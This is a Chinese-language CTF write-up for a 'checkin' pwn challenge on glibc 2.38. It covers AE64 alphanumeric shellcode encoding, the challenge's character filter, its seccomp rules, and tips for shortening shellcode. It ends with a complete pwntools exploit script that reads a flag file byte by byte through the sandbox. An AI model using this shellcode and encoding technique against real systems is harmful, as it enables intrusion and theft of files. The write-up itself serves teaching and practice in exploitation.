文章目录
checkin glibc 2.38
AE64
AE64 is a tool which can transform any amd64 architecture shellcode into pure alphanumeric shellcode using self-modify code technology, so the page need to be writable.
- 用于64位
- 原始的shellcode允许有空字符
- ae64生成时的参数传递
obj=AE64()
shellcode=(obj.encode(asm(shellcode),strategy="small",offset=0x34,register="rax"))
- 第一个参数为shellcode的机器码允许有空字符
- 第二个参数为small即生成尽可能少的shellcode
- register为当将要执行该shellcode第一条语句时候此时值加上offset等于shellcode第一条语句的地址的寄存器
shellcode前面的十六进制反汇编
取非
取个非更好理解
if ( (mmap_start_addr[i + 48] <= '`' || mmap_start_addr[i + 48] > 'z')
&& (mmap_start_addr[i + 48] <= '@' || mmap_start_addr[i + 48] > 'Z')
&& (mmap_start_addr[i + 48] <= '/' || mmap_start_addr[i + 48] > '9')
&& mmap_start_addr[i + 48] != '/' )
了解了些单词😄
填满长度显示沙箱避免换行符干扰
read每次读一个,write也一样
1也是write
0014: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0020
0015: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000020 A = count # read(fd, buf, count)
0018: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x05 0x00000001 if (A != 1) goto 0026 # write
减少shellcode长度
- 可以看情况不使用64位寄存器,而使用32位寄存器
- 注意函数执行完后是否有可用的寄存器,如read()的第三个参数执行完后没有变化,那么write可以直接拿来用
bug
如果jnz loop_write后面没有指令,是flag的字符,这个时候不知道为什么会跳转到一个奇怪的地方去,但如果再随便加条指令如pop rax就可以正常跳转了
exp
from pwn import *
from ae64 import AE64
context(arch='amd64', os='linux', log_level='debug')
shellcode="""
push r9
pop rdi
push 2
pop rax
syscall
"""
shellcode='''
xor edi, edi
push 3
pop rax
syscall
mov rdi, 0x2023012c
push 2
pop rax
xor esi,esi
xor edx,edx
syscall
push rax
pop rdi
push 0x20230000
pop rsi
push 1
pop rdx
xor rax,rax
xor r8,r8
loop_read:
syscall
xor rax,rax
inc r8
inc rsi
cmp r8,0x40
jnz loop_read
xor r8,r8
push 1
pop rax
inc rdi
push 0x20230000
pop rsi
push 1
pop rdx
loop_write:
syscall
inc r8
inc rsi
cmp r8,0x40
jnz loop_write
push rax
'''
get_addr_call_shellcode=asm(
'''
pop rax
pop rax
pop rax
pop rax
''')
obj=AE64()
shellcode=(obj.encode(asm(shellcode),strategy="small",offset=0x34,register="rax"))
s=process("./pwn_patched")
print(len(shellcode))
pause()
#gdb.attach(s,"b main")
s.send(get_addr_call_shellcode+shellcode+b"flag")
s.interactive()